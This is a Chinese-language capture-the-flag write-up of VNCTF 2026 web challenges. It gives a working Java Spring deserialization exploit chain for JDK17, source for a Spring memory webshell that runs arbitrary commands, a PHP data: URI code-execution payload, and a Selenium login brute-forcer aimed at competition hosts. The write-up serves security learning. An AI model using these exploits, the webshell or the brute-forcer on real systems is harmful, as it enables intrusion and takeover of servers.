VNCTF 2026 web方向部分解
VNCTF 2026 web方向部分解
black coffee&more black coffee
题目环境

题目依赖

其实就是打高版本JDK下的Spring原生反序列化链
看看题目的黑名单

ban了javax.swing和java.security这两个黑名单
也就是说EventListenerList和TextAndMnemonicHashMap这两个入口都不给使用了。以及SignedObject这个二次反序列化类。
那么目前网上能触发tostring的链子入口类大概如下
1、BadAttributeValueExpException
2、TextAndMnemonicHashMap
3、EventListenerList
4、HotSwappableTargetSource+XString在JDK17里BadAttributeValueExpException利用不了,没有触发toString的点了。

因此只剩下最后的HotSwappableTargetSource+XString可以试一试
先给出exp
运行时需要添加虚拟机选项如下:
--add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/sun.security.action=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
exp如下
package org.example.blackcoffee;
import javax.swing.event.EventListenerList;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.zip.GZIPOutputStream;
public class SpringRce {
private static final int CHUNK_SIZE = 60000;
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(XString.class);
classes.add(HotSwappableTargetSource.class);
classes.add(SpringRce.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRce().bypassModule(classes);
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
// EventListenerList eventListenerList = getEventListenerList(node);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(new Object());
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(v1 ,v1);
hashMap.put(v2,v2);
setFieldValue(v1, "target", node);
unserialize(serialize(hashMap, true));
// serialize(hashMap, true);
}
public static void unserialize(byte[] exp) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(exp);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
// if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
//
String resultBase64 = Base64.getEncoder().encodeToString(baos.toByteArray());
// 2. 写入到当前目录下的 1.txt
try {
Files.write(Paths.get("1.txt"), resultBase64.getBytes(StandardCharsets.UTF_8));
System.out.println("Base64 string has been saved to " + Paths.get("1.txt").toAbsolutePath());
} catch (Exception e) {
e.printStackTrace();
}
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
//String block = "Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\",\"jcmd app.jar JVMTI.agent_load /tmp/agent.jar\"});";
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}首先我们需要知道的是
EventListenerList入口类的调用链如下
EventListenerList.readObject()
-> EventListenerList.add(Class t, EventListener l)
-> (隐式 toString) UndoManager.toString()
-> CompoundEdit.toString()
-> (隐式 toString) Vector.toString() / AbstractCollection.toString()
-> Iterator.next()
-> StringBuilder.append(Object obj)
-> String.valueOf(Object obj)
-> 恶意对象.toString() // 最终触发点那么替换成HotSwappableTargetSource+XString仍然能触发toString
链条如下:
HashMap.readObject()
-> putVal()
-> key1.equals(key2)
-> HotSwappableTargetSource.equals()
-> XString.equals(POJONode)
-> POJONode.toString()
-> Jackson Serializer (getter调用)
-> JdkDynamicAopProxy.invoke()
-> TemplatesImpl.getOutputProperties()
-> RCE调用栈如下
Exception in thread "main" java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: class MyTemplate cannot be cast to class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (MyTemplate is in unnamed module of loader com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader @3541cb24; com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet is in module java.xml of loader 'bootstrap') (through reference chain: jdk.proxy1.$Proxy0["outputProperties"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32)
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
at java.xml/com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:391)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:104)
at java.base/java.util.HashMap.putVal(HashMap.java:633)
at java.base/java.util.HashMap.readObject(HashMap.java:1553)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:568)
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1104)
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2434)
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2268)
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1744)
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:514)
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:472)
at org.example.blackcoffee.SpringRce.unserialize(SpringRce.java:94)
at org.example.blackcoffee.SpringRce.main(SpringRce.java:88)
Caused by: com.fasterxml.jackson.databind.JsonMappingException: class MyTemplate cannot be cast to class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (MyTemplate is in unnamed module of loader com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader @3541cb24; com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet is in module java.xml of loader 'bootstrap') (through reference chain: jdk.proxy1.$Proxy0["outputProperties"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392)
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351)
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782)
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142)
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319)
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518)
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219)
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086)
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30)
... 17 more
Caused by: java.lang.ClassCastException: class MyTemplate cannot be cast to class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (MyTemplate is in unnamed module of loader com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader @3541cb24; com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet is in module java.xml of loader 'bootstrap')
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:559)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:587)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:608)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:568)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:213)
at jdk.proxy1/jdk.proxy1.$Proxy0.getOutputProperties(Unknown Source)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:568)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 28 more
一般我们能够调用到TemplatesImpl.getOutputProperties都会去用Files.readAllBytes(Paths.get(path));把要加载的内存马class作为发送的payload。
但是在这里需要注意一个很重要的点,在以往我们利用TemplatesImpl 的时候,被利用的目标都需要继承 AbstractTranslet ,但在jdk17高版本下肯定是不行的,因为必然涉及到模块化的检测导致报错。
其实很早之前就有师傅的文章提到过,我们利用的类其实是不一定需要继承 AbstractTranslet 类的:
whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-去除-abstracttranslet-限制构造方法如下:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);同时还有就是JdkDynamicAopProxy可以用于解决jackson中的getter稳定触发问题以及代理TemplatesImpl调用 getOutputProperties 实现RCE。
不出网打法
把code1改成读取内存马class即可
byte[] code1 = Files.readAllBytes(Paths.get("SpringControllerMemShell2.class"));
内存马
package org.example.blackcoffee;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
public class SpringControllerMemShell2{
public SpringControllerMemShell2() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringControllerMemShell2.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/malicious")
.options(config)
.build();
SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
public SpringControllerMemShell2(String aaa) {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}

但是当时在做的时候貌似没有看springboot的版本,用了低版本,一直打不成功,于是就想到试试能不能attach一个jar包上去。
同时有点打昏头了,以为是打黑盒,没看清题目已经说了只是不出网而已。
然后我就校验一下命令执行还是否成功
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
// 核心替换:Runtime.halt(0) 底层强制终结当前JVM进程
String block = "java.lang.Runtime.getRuntime().halt(0);";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}整个靶场的服务被我们退出了,说明命令执行是成功的,
然后就是把jar包分割成50kb
用echo base64内容 > part_00 ......
一次一次发包

花了大概20分钟左右吧
然后执行
cat part_* | base64 -d > agent.jarattach jar包
jcmd app.jar JVMTI.agent_load /tmp/agent.jar
最后也是成功拿到flag。
signin
发现data和短标签都可以用
http://114.66.24.228:33257/?file=data:,<?=`$_GET[0]`;&0=cat /flag
渗透测试
附件给了一个密码本,然后题目是一个登陆框。拦截后发现登陆的请求是被前端js加密了

但其实看前端源码挺简单的

就想到直接用selenium来填写密码,同时并发线程爆破就好,直接绕过破解js加密解密的步骤。
大概率是非预期解了。
首先要自己下载一个chromedriver.exe。然后脚本如下
import time
import subprocess
import os
import math
import threading
from concurrent.futures import ThreadPoolExecutor
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
# ================= 配置区域 =================
TARGET_URL = "http://114.66.24.228:33270/"
PASSWORD_FILE = "passwords.txt"
CHROMEDRIVER_PATH = r"E:\ideaProject\pyProject\Learn\crawl_xz\chromedriver.exe"
# 并发数量 (建议设置为 CPU 核心数或 4-8 之间,太高会卡死电脑)
MAX_WORKERS = 8
# 全局变量:用于控制是否找到 flag 后停止所有线程
FOUND_FLAG = False
LOCK = threading.Lock() # 用于打印时防止文字错乱
# ===========================================
def get_driver():
"""创建一个新的浏览器实例并返回"""
if not os.path.exists(CHROMEDRIVER_PATH):
raise FileNotFoundError(f"找不到驱动: {CHROMEDRIVER_PATH}")
chrome_options = webdriver.ChromeOptions()
# 【重要】并发模式建议开启 headless,否则会弹出 N 个浏览器窗口
chrome_options.add_argument('--headless')
chrome_options.add_argument('--disable-gpu')
chrome_options.add_argument('--ignore-certificate-errors')
# 禁用日志,防止控制台太乱
chrome_options.add_argument("--log-level=3")
service = Service(CHROMEDRIVER_PATH)
if hasattr(subprocess, 'CREATE_NO_WINDOW'):
service.creationflags = subprocess.CREATE_NO_WINDOW
driver = webdriver.Chrome(service=service, options=chrome_options)
return driver
def worker_task(thread_id, password_subset):
"""
每个线程的工作函数:
thread_id: 线程编号
password_subset: 该线程负责的密码列表片段
"""
global FOUND_FLAG
# 启动该线程专用的浏览器
driver = get_driver()
try:
# 打开页面
driver.get(TARGET_URL)
WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "sendBtn")))
with LOCK:
print(f"[线程-{thread_id}] 浏览器启动完毕,负责 {len(password_subset)} 个密码")
for i, pwd in enumerate(password_subset):
# 如果别的线程已经找到了,就直接退出
if FOUND_FLAG:
return
try:
user_input = driver.find_element(By.ID, "username")
pass_input = driver.find_element(By.ID, "password")
send_btn = driver.find_element(By.ID, "sendBtn")
user_input.clear()
pass_input.clear()
# JS清空结果
driver.execute_script("document.getElementById('result').innerText = '';")
user_input.send_keys("admin")
pass_input.send_keys(pwd)
send_btn.click()
# 等待结果
WebDriverWait(driver, 3).until(
lambda d: d.find_element(By.ID, "result").text.strip() != ""
)
final_result = driver.find_element(By.ID, "result").text.strip()
# 打印进度 (加锁防止乱序)
# with LOCK:
# print(f"[线程-{thread_id}] 密码: {pwd.ljust(10)} | 回显: {final_result[:30]}")
print(f"[线程-{thread_id}] 密码: {pwd.ljust(10)} | 回显: {final_result[:30]}")
# 判断是否成功
if "flag" in final_result.lower() or "success" in final_result.lower():
with LOCK:
print("\n" + "★" * 40)
print(f"!!! [线程-{thread_id}] 找到密码 !!!: {pwd}")
print(f"完整回显: {final_result}")
print("★" * 40 + "\n")
FOUND_FLAG = True # 通知其他线程停止
return
except TimeoutException:
pass # 超时则跳过
except Exception as e:
# 页面如果崩溃了,可能需要重新刷新,这里简单处理为打印错误
print(f"[线程-{thread_id}] 错误: {e}")
finally:
driver.quit()
with LOCK:
print(f"[线程-{thread_id}] 任务结束,关闭浏览器")
def run_concurrent_bruteforce():
if not os.path.exists(PASSWORD_FILE):
print("❌ 找不到密码本")
return
# 1. 读取所有密码
with open(PASSWORD_FILE, "r", encoding="utf-8") as f:
all_passwords = [line.strip() for line in f if line.strip()]
total = len(all_passwords)
print(f"[*] 总密码数: {total}")
# 2. 切分任务 (Chunking)
# 将大列表切成 MAX_WORKERS 份,例如 100个密码,4个线程,每份25个
chunk_size = math.ceil(total / MAX_WORKERS)
chunks = [all_passwords[i:i + chunk_size] for i in range(0, total, chunk_size)]
print(f"[*] 启动 {len(chunks)} 个线程并发爆破...")
# 3. 启动线程池
start_time = time.time()
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
# 提交任务
futures = []
for i, chunk in enumerate(chunks):
futures.append(executor.submit(worker_task, i + 1, chunk))
# 等待所有任务完成
for future in futures:
future.result()
print(f"[*] 所有任务完成,耗时: {time.time() - start_time:.2f}秒")
if __name__ == "__main__":
run_concurrent_bruteforce()
最后也是成功找到密码和flag

密码
5V26s9dBZQVBZgyyVC00baeW
Markdown2world
题目感觉提示挺明显的,
就是要传一个md文档,然后转换成docx文档
然后
但是发现

没东西
当时还以为自己方向错了,然后就没往下测了.
其实解压docx就行
可以在./word/media/rId9.so文件中看到:

那么包含flag就行
或者
也行